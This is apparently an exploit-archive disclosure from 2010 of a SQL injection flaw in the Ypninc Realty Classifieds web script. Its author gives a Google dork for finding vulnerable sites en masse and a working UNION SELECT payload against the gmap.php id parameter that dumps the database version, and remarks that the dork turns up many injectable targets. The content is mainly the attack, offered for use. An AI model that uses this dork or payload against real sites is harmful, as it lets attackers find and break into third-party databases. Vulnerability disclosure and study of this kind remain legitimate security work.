Ypninc Realty Classifieds SQL Injection Vulnerability

[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]

# Title : Ypninc Realty Classifieds SQL Injection Vulnerability
# Published : 2010-12-23
# Author : Br0ly
# Previous Title : MantisBT <=1.2.3 (db_type) Cross-Site Scripting & Path Disclosure Vulnerability
# Next Title : OpenAuto 1.6.3 Multiple Vulnerabilities

Script Name: Ypninc Realty Classifieds
Script Demo: http://fsbo.ypninc.com/
BUG: Sql INjection
google dork: inurl:"gmap.php?id=";
OBS: With this dork you will find a lot of sql injection aiuhauiha ;D
Found: by Br0ly


Lame script ;/...

p0c:

http://server/gmap.php?id=-1%20UNION%20ALL%20SELECT%201,2,3,4,5,6,7,@@version,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42--

xPloit:

http://server/gmap.php?id=[sqli]

BraZil.. ;D